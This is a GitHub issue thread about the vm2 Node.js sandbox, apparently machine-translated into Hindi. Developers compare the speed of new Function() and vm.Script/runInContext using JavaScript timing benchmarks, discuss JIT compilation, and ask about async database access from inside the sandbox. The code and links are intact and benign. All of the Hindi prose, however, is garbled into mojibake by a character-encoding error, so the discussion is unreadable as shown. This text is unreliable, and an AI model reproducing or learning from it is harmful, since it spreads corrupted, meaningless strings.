@wysisoft eval() рд╕реИрдВрдбрдмреЙрдХреНрд╕ рд╕реЗ рдмрдЪрдиреЗ рдХрд╛ рдПрдХ рдЖрд╕рд╛рдиреА рд╕реЗ рдкрд╣реБрдБрдЪрд╛ рдЬрд╛ рд╕рдХрдиреЗ рд╡рд╛рд▓рд╛ рддрд░реАрдХрд╛ рд╣реИред рдЗрд╕реЗ рдЕрдХреНрд╖рдо рдХрд░рдиреЗ рд╕реЗ рдирд┐рдЬреА рд╕рдВрджрд░реНрдн рдореЗрдВ рдХреЛрдб рдХрд╛ рдореВрд▓реНрдпрд╛рдВрдХрди рдХрд░рдХреЗ рдПрд╕реНрдХреЗрдк рд╣реИрдЪ рдХреЛ рд╕реНрдерд╛рдпреА рд░реВрдк рд╕реЗ рдмрдВрдж рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рд▓реЗрдХрд┐рди рдореИрдВ рдлрд┐рд░ рд╕реЗ рджреЛрд╣рд░рд╛рддрд╛ рд╣реВрдВ, рдпрд╣ рдПрдХрдорд╛рддреНрд░ рд╣рдорд▓рд╛ рд╡реЗрдХреНрдЯрд░ рдирд╣реАрдВ рд╣реИ рдФрд░ рдЖрдкрдХреЛ рд╣рд░ рдЪреАрдЬ рд╕реЗ рд╕рд╛рд╡рдзрд╛рди рд░рд╣рдирд╛ рдЪрд╛рд╣рд┐рдПред

@parasyte - рдореЗрд░реЗ рдкрд╛рд╕ рдПрдХ рдмрд╣реБрдд рд╣реА рд╕рд░рд▓ рдкрд░реАрдХреНрд╖рдг рд╣реИ рдЬреЛ рдкреНрд░рддреНрдпреЗрдХ рдХреЗ рд▓рд┐рдП рдПрдХ рд╣реА рдХреЛрдб рдХреЗ рдЬрд┐рддрдирд╛ рд╕рдВрднрд╡ рд╣реЛ рд╕рдХреЗ рдПрдХ рдлрд╝рдВрдХреНрд╢рди() рдФрд░ рдПрдХ рд╡реАрдПрдо рдмрдирд╛рддрд╛ рд╣реИ, рджреЛрдиреЛрдВ 1000 рдмрд╛рд░ рдЪрд▓рддрд╛ рд╣реИ, рдФрд░ рдХреБрд▓ рдЖрд╡рд╢реНрдпрдХ рд╕рдордп рдХреА рд░рд┐рдкреЛрд░реНрдЯ рдХрд░рддрд╛ рд╣реИред рдиреАрдЪреЗ рдХреЛрдб:

"use strict";

const util = require('util');
const vm = require('vm');
const uuid = require("uuid/v4");

console.log('TEST=' + global.test);
let response = {result: 0, body: null};

// create the Function()
let hrstart = process.hrtime();
const xform = new Function('y', 'response', 'uuid',
  '"use strict"; return ' + '(() => {global.test = "FUNC"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123,  y: y, z: doubleZ(z), u:uuid()};})();'
);
let hrend = process.hrtime(hrstart);
console.log('new Function: ', hrend[0], hrend[1]/1000000, '\n');

// create/compile the Script()
hrstart = process.hrtime();
const script = new vm.Script(
  '"use strict"; ((global) => {' + 'global.test = "VM"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123,  y: y, z: doubleZ(z), u:uuid()};' + '})(this);'
);
hrend = process.hrtime(hrstart);
console.log('new vm.Script: ', hrend[0], hrend[1]/1000000);

// create the VM context
hrstart = process.hrtime();
let ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
let context = new vm.createContext(ctx);
hrend = process.hrtime(hrstart);
console.log('new vm.createContext: ', hrend[0], hrend[1]/1000000, '\n');

// test 1000 iterations of Function()
let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');

// test 1000 iterations of VM (with optional new context on each)
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  //ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};  // << THIS IS THE PROBLEM!
  //context = new vm.createContext(ctx);
  out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');

рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рдкрд░реАрдХреНрд╖рдг рдореЗрдВ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдореИрдВ рдПрдХ рдмрд╛рд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдФрд░ рд╕рдВрджрд░реНрдн рдмрдирд╛ рд░рд╣рд╛ рд╣реВрдВ, рдлрд┐рд░ рдЗрд╕реЗ 1000 рдмрд╛рд░ рдЪрд▓рд╛ рд░рд╣рд╛ рд╣реВрдВред рд╣рд╛рд▓рд╛рдВрдХрд┐, рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд▓рдХреНрд╖реНрдп рдЙрдкрдпреЛрдЧ-рдорд╛рдорд▓реЗ рдореЗрдВ, рдореБрдЭреЗ рд╣рд░ рдмрд╛рд░ рд╕рдВрджрд░реНрдн рдХреЛ рдлрд┐рд░ рд╕реЗ рдмрдирд╛рдирд╛ рд╣реЛрдЧрд╛ (рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рд╕рдВрдХрд▓рд┐рдд рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдХреИрд╢ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдирд╛), рдХреНрдпреЛрдВрдХрд┐ рдкреНрд░рддреНрдпреЗрдХ рд░рди рдЕрджреНрд╡рд┐рддреАрдп рд╣реИ рдФрд░ рдПрдХ рдирдП рд╕рдВрджрд░реНрдн рд╕реЗ рд╢реБрд░реВ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП)ред рд╣рд░ рдмрд╛рд░ рд╕рдВрджрд░реНрдн рдХреЛ рдлрд┐рд░ рд╕реЗ рдмрдирд╛рдП рдмрд┐рдирд╛, рдлрдВрдХреНрд╢рди () рдФрд░ рд╡реАрдПрдо рдХреЗ рдмреАрдЪ рдХрд╛ рдЕрдВрддрд░ 6 рд╕реЗ 14 рдЧреБрдирд╛ рд╣реИред

рд▓реЗрдХрд┐рди рдХрд░реАрдм рд╕реЗ рджреЗрдЦрдиреЗ рдХреЗ рдмрд╛рдж, рдореИрдВрдиреЗ рдХреЛрдб рдХреА рд╡рд┐рд╡рд┐рдзрддрд╛ (рд▓реВрдк рдХреЗ рдЕрдВрджрд░ рд╣рд░ рдмрд╛рд░ рд╕рдВрджрд░реНрдн рдмрдирд╛рдирд╛) рдХреА рдХреЛрд╢рд┐рд╢ рдХреА, рдЬреЛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдЙрдкрдпреЛрдЧ-рдорд╛рдорд▓реЗ рдХреЗ рдХрд░реАрдм рд╣реИред рдореИрдВрдиреЗ рдореВрд▓ рд░реВрдк рд╕реЗ рд╕рдВрджрд░реНрдн рдХреЗ рдПрдХ рдмрд╛рд░ рдХреЗ рдирд┐рд░реНрдорд╛рдг рдХреЛ рдХреЗрд╡рд▓ 1ms рд╕реЗ рдХрдо рд╕рдордп рдкрд░ рдмрдирд╛рдпрд╛ рдерд╛, рдЗрд╕рд▓рд┐рдП рдореИрдВ рдЗрд╕реЗ рдкреНрд░рддрд┐-рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рд╢рд╛рдорд┐рд▓ рдХрд░ рд░рд╣рд╛ рдерд╛ред рд▓реЗрдХрд┐рди рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдХреЛрдб рдЪрд▓рд╛рдиреЗ рд╕реЗ рдЕрд╕рд▓реА рдЕрдкрд░рд╛рдзреА рджрд┐рдЦрд╛ - рдЬрдмрдХрд┐ VM рдЕрднреА рднреА рдзреАрдорд╛ рд╣реИ, рд╕рдорд╕реНрдпрд╛ рд╕рдВрджрд░реНрдн рдирд╣реАрдВ рдмрдирд╛ рд░рд╣реА рд╣реИ, рдмрд▓реНрдХрд┐ 'ctx' рдСрдмреНрдЬреЗрдХреНрдЯ рдмрдирд╛ рд░рд╣реА рд╣реИред рдпрд╣ рдХрд╛рдлреА рдЖрд╢реНрдЪрд░реНрдп рдХреА рдмрд╛рдд рд╣реИред

рд▓реЗрдХрд┐рди рд╣рд░ рдмрд╛рд░ рд╡реАрдПрдо рд╕рдВрджрд░реНрдн рдХреЗ рд▓рд┐рдП рдПрдХ рдирдИ рд╡рд╕реНрддреБ рдмрдирд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА (рд╣рд╛рд▓рд╛рдВрдХрд┐ рдЙрд╕рдореЗрдВ рд╕реЗ рдХреБрдЫ рднрд┐рдиреНрдирддрд╛ рдлрд╝рдВрдХреНрд╢рди() рдХреЗ рд▓рд┐рдП рднреА рдЖрд╡рд╢реНрдпрдХ рд╣реЛрдЧреА, рдЗрд╕рд▓рд┐рдП рджреЛрдиреЛрдВ рдХреЗ рдмреАрдЪ рдХрд╛ рдЕрдВрддрд░ 6 рд╕реЗ 14 рдЧреБрдирд╛ рд╣реИ (рдЬреЛ рдЕрднреА рднреА рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ) .

рд╣рдореНрдоред рдореИрдВрдиреЗ рдЕрднреА рдПрдХ рдФрд░ рдкрд░реАрдХреНрд╖рдг рдХреА рдХреЛрд╢рд┐рд╢ рдХреА:

let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
  out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');


hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
  // let context = new vm.createContext(ctx);
  out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');

рдпрд╣рд╛рдВ, 'ctx' рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рджреЛрдиреЛрдВ рдкрд░реАрдХреНрд╖рдгреЛрдВ рдореЗрдВ рд╣рд░ рдмрд╛рд░ рдлрд┐рд░ рд╕реЗ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рд╕рдВрджрд░реНрдн рдХреЗрд╡рд▓ рдПрдХ рдмрд╛рд░ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╕рдордп рдХрд╛ рдЕрдВрддрд░ 6 рд╕реЗ 14 рдХреА рд╕реАрдорд╛ рдореЗрдВ рд╡рд╛рдкрд╕ рдЖ рдЧрдпрд╛ рд╣реИред рд▓реЗрдХрд┐рди рдЕрдЧрд░ рдореИрдВ рд╣рд░ рдмрд╛рд░ рд╕рдВрджрд░реНрдн рдХреЛ рдлрд┐рд░ рд╕реЗ рдмрдирд╛рдиреЗ рд╡рд╛рд▓реА рд░реЗрдЦрд╛ рдХреЛ рдЕрдирд╕реБрдирд╛ рдХрд░ рджреВрдВ, рддреЛ 144 рдЧреБрдирд╛ рдзреАрдореА рдереА!

@ рдПрд░рд┐рдХ 24 рдЖрдк рд╡рд╣реА рдХрд░ рд░рд╣реЗ рд╣реИрдВ рдЬреЛ рдореИрдВрдиреЗ рдЕрдкрдиреА рдкрд┐рдЫрд▓реА рдкреЛрд╕реНрдЯ рдореЗрдВ рдХрд╣рд╛ рдерд╛ред script.runInContext() рд╕рдорд╕реНрдпрд╛ рд╣реИред рдпрд╣ рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ eval() (рдПрдХ рдЕрд▓рдЧ v8 рд╕рдВрджрд░реНрдн рдХреЗ рд╕рд╛рде) рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдЬреИрд╕рд╛ рд╣реА рд╣реИред

рдЕрдкрдиреА рдкреНрд░рджрд░реНрд╢рди рд╕рдорд╕реНрдпрд╛ рдХреЛ рдареАрдХ рдХрд░рдиреЗ рдХрд╛ рд╕рдорд╛рдзрд╛рди рдХреЛрдб рдХреЛ рд╕рдВрдХрд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдмрд╛рд░ runInContext рдкрд░ рдХреЙрд▓ рдХрд░рдирд╛ рд╣реИ, рдФрд░ рд╕рдВрдХрд▓рд┐рдд рдХреЛрдб рдХреЗ рд╕рд╛рде рдЙрд╕ рд╕рдВрджрд░реНрдн рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдмрд╛рддрдЪреАрдд рдХрд░рдирд╛ рд╣реИ рдЬреЛ рд╡рд╣ рджреЗрддрд╛ рд╣реИ, рдпрд╛ рд╕рдВрджрд░реНрдн рдЬреЛ рдЖрдк рдЗрдирдкреБрдЯ рддрд░реНрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХреЗ рд╕рд╛рде рджреНрд╡рд┐рджрд┐рд╢ рд╕рдВрдЪрд╛рд░ рдХреЗ рд▓рд┐рдП рдХреБрдЫ new Event() рдСрдмреНрдЬреЗрдХреНрдЯ рдкрд╛рд╕ рдХрд░рдирд╛ред рдпрд╣ рд╡рд╣реА рд╣реИ рдЬреЛ рд╣рдорд╛рд░рд╛ [рдЕрднреА рднреА рдЖрдВрддрд░рд┐рдХ рд╕реИрдВрдбрдмреЙрдХреНрд╕, рд░рд╛рдЬрдиреАрддрд┐рдХ рдХрд╛рд░рдгреЛрдВ рд╕реЗ рдУрдкрди-рд╕реЛрд░реНрд╕ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ] vm рд░реИрдкрд░ рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдУрд╡рд░рд╣реЗрдб рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдирдЧрдгреНрдп рд╣реИред

@parasyte :

рдирд╣реАрдВред runInContext рдХреЛрдб рд╕рдВрдХрд▓рд┐рдд рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕реЛрдЪреЛред v8 рдПрдХ рдЬрд╕реНрдЯ-рдЗрди-рдЯрд╛рдЗрдо рдХрдВрдкрд╛рдЗрд▓рд░ рд╣реИред рдЗрд╕реЗ рд╕рдВрдХрд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред

@parasyte : рдареАрдХ рд╣реИ, рд▓реЗрдХрд┐рди node.js рдбреЙрдХреНрд╕ рд╕реЗ:
_vm.Script рд╡рд░реНрдЧ рдХреЗ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдореЗрдВ рдкрд╣рд▓реЗ рд╕реЗ рд╕рдВрдХрд▓рд┐рдд рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╣реЛрддреА рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕реИрдВрдбрдмреЙрдХреНрд╕ (рдпрд╛ "рд╕рдВрджрд░реНрдн") рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред_

@ Eric24 рдкреНрд░рд▓реЗрдЦрди рдПрдХ рдкреНрд░рдХрд╛рд░ рд╕реЗ рднреНрд░рдорд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рд╣реИред рд╕рдВрдмрджреНрдз рдХреЛрдб рд╕реНрдирд┐рдкреЗрдЯ рдЙрд╕реА рдЕрд░реНрде рдореЗрдВ "рд╕рдВрдХрд▓рд┐рдд" рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ рдЬреИрд╕реЗ рдПрдХ рджреБрднрд╛рд╖рд┐рдпрд╛ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдмрд╛рдЗрдЯ рдХреЛрдб рдореЗрдВ рд╕рдВрдХрд▓рд┐рдд рдХрд░рддрд╛ рд╣реИред рдЬреЗрдПрд╕ рдПрдХ рджреБрднрд╛рд╖рд┐рдпрд╛ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИ, рдЬрдм Script рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рддрддреНрдХрд╛рд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рд▓реЗрдХрд┐рди v8 рд╕реЗ рдЕрдзрд┐рдХрд╛рдВрд╢ рдкреВрд░реНрдг рд▓рд╛рдн рдЗрд╕ рд╡реНрдпрд╛рдЦреНрдпрд╛ рдХрд┐рдП рдЧрдП рдордзреНрдпрд╡рд░реНрддреА рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХреЛ рдореВрд▓ рдорд╢реАрди рдХреЛрдб рдореЗрдВ рд╕рдВрдХрд▓рд┐рдд рдХрд░рдиреЗ рд╕реЗ рдЖрддрд╛ рд╣реИред рдмрд╛рдж рд╡рд╛рд▓рд╛ рдЪрд░рдг рддрдм рддрдХ рд╢реБрд░реВ рдирд╣реАрдВ runInContext рдХрд╣рд╛ рдЬрд╛рддрд╛ред

рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, JIT рд╕рдВрдХрд▓рдХ рдХрд╛ рдЬреАрд╡рди рдЪрдХреНрд░ рдЙрд╕рд╕реЗ рдХрд╣реАрдВ рдЕрдзрд┐рдХ рдЬрдЯрд┐рд▓ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдХреЛрдб рдХреЛ JIT рджреНрд╡рд╛рд░рд╛ рдЕрдиреБрдХреВрд▓рди рдХреЗ рд▓рд┐рдП рд╡рд┐рдЪрд╛рд░ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рд╣реА рдЧрд░реНрдо рдХрд░рдирд╛ рдкрдбрд╝рддрд╛ рд╣реИред рдпрджрд┐ рдЖрдк рд╡рд┐рд╡рд░рдг рдореЗрдВ рд░реБрдЪрд┐ рд░рдЦрддреЗ рд╣реИрдВ рддреЛ рдЗрдВрдЯрд░рдиреЗрдЯ рдкрд░ рдмрд╣реБрдд рд╕рд╛рд░реА рдкрдарди рд╕рд╛рдордЧреНрд░реА рд╣реИ ред

рд▓реЗрдХрд┐рди рдЖрдкрдХреЛ рдХреБрдЫ рдХрдард┐рди рдбреЗрдЯрд╛ рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, runInContext рдХреЗ рд▓рд┐рдП рдкреНрд░рд╛рд╕рдВрдЧрд┐рдХ рд╕реНрд░реЛрдд рдХреЛрдб рдпрд╣рд╛рдВ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ: https://github.com/nodejs/node/blob/v8.7.0/lib/vm.js#L54 -L61

realRunInContext рд╕рдВрджрд░реНрдн C++ contextify рдореЙрдбреНрдпреВрд▓ рд╕реЗ рд╣реИред рдЬрд┐рд╕реЗ рдЖрдк рдпрд╣рд╛рдВ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ: https://github.com/nodejs/node/blob/v8.7.0/src/node_contextify.cc#L660 -L719

рдЗрд╕ рд╕реА ++ рдХреЛрдб рдХрд╛ рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣рд┐рд╕реНрд╕рд╛ рдпрдХреАрдирди EvalMachine рдХреЙрд▓ рд╣реИ, рдЬреЛ рд╕рдВрдХрд▓рд┐рдд рдХреЛрдб рдХреЛ рд╡рд░реНрддрдорд╛рди рд╕рдВрджрд░реНрдн рд╕реЗ рдЬреЛрдбрд╝рддрд╛ рд╣реИ, рдФрд░ рдЬреЗрдЖрдИрдЯреА рдХрдВрдкрд╛рдЗрд▓рд░ рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП script->Run() рдкрд░ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИред рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ рд╡рд╣ рдХреМрди рд╕рд╛ рд╣реИ рдЬреЛ рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдб рдХреА рддрд▓рд╛рд╢ рд╢реБрд░реВ рдХрд░рддрд╛ рд╣реИред

рдЙрдореНрдореАрдж рд╣реИ рдХреА рд╡реЛ рдорджрдж рдХрд░рджреЗ!

@parasyte : рд╣рд╛рдБ, рдпрд╣ рдорджрджрдЧрд╛рд░ рд╣реИред рдзрдиреНрдпрд╡рд╛рдж!

рд╣рдо vm2 рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреЗ рд╕рд╛рде рд╕рдВрдШрд░реНрд╖ рдХрд░ рд░рд╣реЗ рд╣реИрдВред рдХреНрдпрд╛ рд╣рдо vm2 рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХреЗ рдЕрдВрджрд░ async рдХреЛрдб рдХрд╣ рд╕рдХрддреЗ рд╣реИрдВ? рдЗрд╕рдХрд╛ рдХрд╛рд░рдг рдпрд╣ рд╣реИ рдХрд┐, рд╣рдореЗрдВ vm2 рдХреЗ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рд╕реЗ рдореИрд╕рдХрд▓ рдЬреИрд╕реЗ рдбреЗрдЯрд╛ рд╕реНрд░реЛрдд рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ?

рд╣рд╛рдБ рдЖрдк рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХреЗ рдЕрдВрджрд░ async рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЖрдкрдХреЛ рдХреНрдпрд╛ рд╕рдорд╕реНрдпрд╛ рд╣реЛ рд░рд╣реА рд╣реИ?
рдзреНрдпрд╛рди рд░рдЦреЗрдВ рдХрд┐ рдпрджрд┐ рдЖрдк рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдХреЛрдб рдЪрд▓рд╛ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рд╢рд╛рдпрдж рдЖрдк рдРрд╕рд╛ рдирд╣реАрдВ рдХрд░рдирд╛ рдЪрд╛рд╣реЗрдВрдЧреЗ
рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдореЗрдВ рдкреВрд░реНрдг рдПрд╕рдХреНрдпреВрдПрд▓ рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХрд░реЗрдВред рдЗрд╕рдХреЗ рдмрдЬрд╛рдп, рдЖрдк рд╢рд╛рдпрдж рдЬреЛрдбрд╝рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ a
рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХреЗ рд▓рд┐рдП getdata() рд╡рд┐рдзрд┐ рдЬреЛ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХреЗ рдмрд╛рд╣рд░ рдХреЛрдб рдЪрд▓рд╛рддрд╛ рд╣реИ рдЬрд╣рд╛рдВ
рд╡рд╛рд╕реНрддрд╡рд┐рдХ SQL рдХрдиреЗрдХреНрд╢рди рд╣реЛрддрд╛ рд╣реИред

рдордВрдЧрд▓рд╡рд╛рд░, 24 рдЕрдХреНрдЯреВрдмрд░, 2017 рдХреЛ рд╕реБрдмрд╣ 6:49 рдмрдЬреЗ рд░рд╛рдЬрдЧреЛрдкрд╛рд▓ рд╕реЛрдорд╕реБрдВрджрд░рдо <
рд╕реВрдЪрдирд╛рдПрдВ@github.com> рдиреЗ рд▓рд┐рдЦрд╛:

рд╣рдо vm2 рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреЗ рд╕рд╛рде рд╕рдВрдШрд░реНрд╖ рдХрд░ рд░рд╣реЗ рд╣реИрдВред рдХреНрдпрд╛ рд╣рдо рдХреЙрд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ
vm2 рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХреЗ рдЕрдВрджрд░ async рдХреЛрдб? рдХрд╛рд░рдг рд╣реИ, рд╣рдореЗрдВ a . рд╕реЗ рдЬреБрдбрд╝рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ
vm2 рдХреЗ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рд╕реЗ рдореИрд╕рдХрд▓ рдЬреИрд╕реЗ рдбреЗрдЯрд╛ рд╕реНрд░реЛрдд?

-
рдЖрдк рдЗрд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд░рд╣реЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рдЖрдкрдХрд╛ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред
рдЗрд╕ рдИрдореЗрд▓ рдХрд╛ рд╕реАрдзреЗ рдЙрддреНрддрд░ рджреЗрдВ, рдЗрд╕реЗ GitHub рдкрд░ рджреЗрдЦреЗрдВ
https://github.com/patriksimek/vm2/issues/32#issuecomment-338978717 , рдпрд╛ рдореНрдпреВрдЯ рдХрд░реЗрдВ
рд╕реВрддреНрд░
https://github.com/notifications/unsubscribe-auth/AOeY7Kir6Mm_k_P2ZhR3tdQzZQPknTNZks5svdz0gaJpZM4I22m8
.

@wysisoft рдЙрддреНрддрд░ рдХреЗ рд▓рд┐рдП рдзрдиреНрдпрд╡рд╛рдж, рд╣рдордиреЗ https://github.com/patriksimek/vm2/issues/102 рд╡рд┐рд╡рд░рдг рдХреЗ рд╕рд╛рде рдЗрд╕ рдореБрджреНрджреЗ рдХреЛ рдЕрд▓рдЧ рд╕реЗ рдЙрдард╛рдпрд╛ рд╣реИ

@ рдПрд░рд┐рдХ 24 рджрд┐рдорд╛рдЧ 'рдирдпрд╛ рдлрдВрдХреНрд╢рди ()' рд╡рд┐рдХрд▓реНрдк рд╕рд╛рдЭрд╛ рдХрд░ рд░рд╣рд╛ рд╣реИ? VM рд╕реЗ рд╕рд╛рдл рджрд┐рдЦрддрд╛ рд╣реИ

@platinumindustries : рдЕрдВрдд рдореЗрдВ, рдореИрдВ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ "рдирдпрд╛ рдлрд╝рдВрдХреНрд╢рди ()" рд╡рд┐рдХрд▓реНрдк рдХреА рдЕрдиреБрд╢рдВрд╕рд╛ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реВрдВред рд╣рдордиреЗ рд╡реАрдПрдо рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХреЗ рд╕рд╛рде рд░рд╣рдирд╛ рд╕рдорд╛рдкреНрдд рдХрд░ рджрд┐рдпрд╛, рдФрд░ рдЗрд╕рдХреЗ рдмрдЬрд╛рдп рдЙрд╕ рдХреЛрдб рдХреЛ рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд░рдиреЗ рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд┐рдпрд╛ред рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдЕрдм рдЬреЛ рд╣реИ рд╡рд╣ рдмрд╣реБрдд рдЕрдЪреНрдЫрд╛ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИред рдореИрдВ рдИрдорд╛рдирджрд╛рд░реА рд╕реЗ рдпрд╛рдж рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛ рдХрд┐ рд╣рдореЗрдВ рдЙрд╕ рджрд┐рд╢рд╛ рдореЗрдВ рдХреНрдпрд╛ рдзрдХреНрдХрд╛ рджрд┐рдпрд╛, рд▓реЗрдХрд┐рди рдореБрдЭреЗ рдкрддрд╛ рд╣реИ рдХрд┐ рдХрдИ рдЫреЛрдЯреА рдЪреАрдЬреЗрдВ рдереАрдВ рдЬреЛ рдЕрдВрддрддрдГ рд╕реВрдЪреА рд╕реЗ "рдирдпрд╛ рдлрд╝рдВрдХреНрд╢рди ()" рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХреЛ рдкрд╛рд░ рдХрд░ рдЧрдИрдВред

